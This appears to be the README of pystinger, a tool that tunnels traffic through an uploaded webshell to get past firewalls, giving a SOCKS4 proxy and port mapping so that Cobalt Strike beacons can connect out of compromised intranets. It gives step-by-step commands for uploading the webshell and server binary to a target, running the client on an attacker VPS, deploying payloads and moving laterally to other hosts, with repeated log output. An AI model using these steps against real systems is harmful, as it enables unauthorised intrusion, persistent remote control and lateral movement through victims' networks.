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Bypass firewall for traffic forwarding using webshell 一款使用webshell进行流量转发的出网工具

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pystinger

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Pystinger implements SOCK4 proxy and port mapping through webshell.

It can be directly used by metasploit-framework, viper, cobalt strike for session online.

Pystinger is developed in python, and currently supports three proxy scripts: php, jsp(x) and aspx.

Usage

Suppose the domain name of the server is http://example.com :8080 The intranet IPAddress of the server intranet is 192.168.3.11

SOCK4 Proxy

  • proxy.jsp Upload to the target server and ensure that http://example.com:8080/proxy.jsp can access,the page returns UTF-8
  • stinger_server.exe Upload to the target server,AntSword run cmdstart D:/XXX/stinger_server.exeto start pystinger-server

Don't run D:/xxx/singer_server.exe directly,it will cause TCP disconnection

  • Run ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 on your VPS
  • Your will see following output
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • Now you have started a socks4a proxy on VPS 127.0.0.1:60000 for intranet of example.com.
  • Now the target server(example.com) 127.0.0.1:60020 has been mapped to the VPS 127.0.0.1:60020

cobaltstrike`s beacon online for single target

  • proxy.jsp Upload to the target server and ensure that http://example.com:8080/proxy.jsp can access,the page returns UTF-8
  • stinger_server.exe Upload to the target server,AntSword run cmdstart D:/XXX/stinger_server.exeto start pystinger-server

Don't run D:/xxx/singer_server.exe directly,it will cause TCP disconnection

  • Run ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 on your VPS
  • Your will see following output
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • Add listener on cobaltstrike,Listener port is 60020 (Handler/LISTEN port in RAT CONFIG of output ),listener address is 127.0.0.1
  • Generate payload,upload to the target and run.

cobaltstrike`s beacon online for multi targets

  • proxy.jsp Upload to the target server and ensure that http://example.com:8080/proxy.jsp can access,the page returns UTF-8
  • stinger_server.exe Upload to the target server,AntSword run cmdstart D:/XXX/stinger_server.exe 192.168.3.11to start pystinger-server (192.168.3.11 is intranet ipaddress of the target)

192.168.3.11 can change to 0.0.0.0

  • Run ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 on your VPS
  • Your will see following output
root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • Add listener on cobaltstrike,Listener port is 60020 (Handler/LISTEN port in RAT CONFIG of output ),listener address is 192.168.3.11
  • Generate payload,upload to the target and run.
  • When lateral movement to other hosts, you can point the payload to 192.168.3.11:60020 to make beacon online

Custom header and proxy

  • If the webshell needs to configure cookie or authorization, the request header can be configured through the -- header parameter --header "Authorization: XXXXXX,Cookie: XXXXX"

  • If the webshell needs to be accessed by proxy, you can set the proxy through -- proxy --proxy "socks5:127.0.0.1:1081"

Related tools

https://github.com/nccgroup/ABPTTS

https://github.com/sensepost/reGeorg

https://github.com/SECFORCE/Tunna

Tested

stinger_server\stinger_client

  • windows
  • linux

proxy.jsp(x)/php/aspx

  • php7.2
  • tomcat7.0
  • iis8.0

Update log

2.0 Update time: 2019-09-29

  • Socks4 proxy service moves to client

2.1 Update time: 2020-01-07

  • Support cobaltstrike online (port mapping)

The development is supported by the software from jetbrains.
https://www.jetbrains.com/?from=pystinger

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Bypass firewall for traffic forwarding using webshell 一款使用webshell进行流量转发的出网工具

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webshell cobalt-strike regeorg

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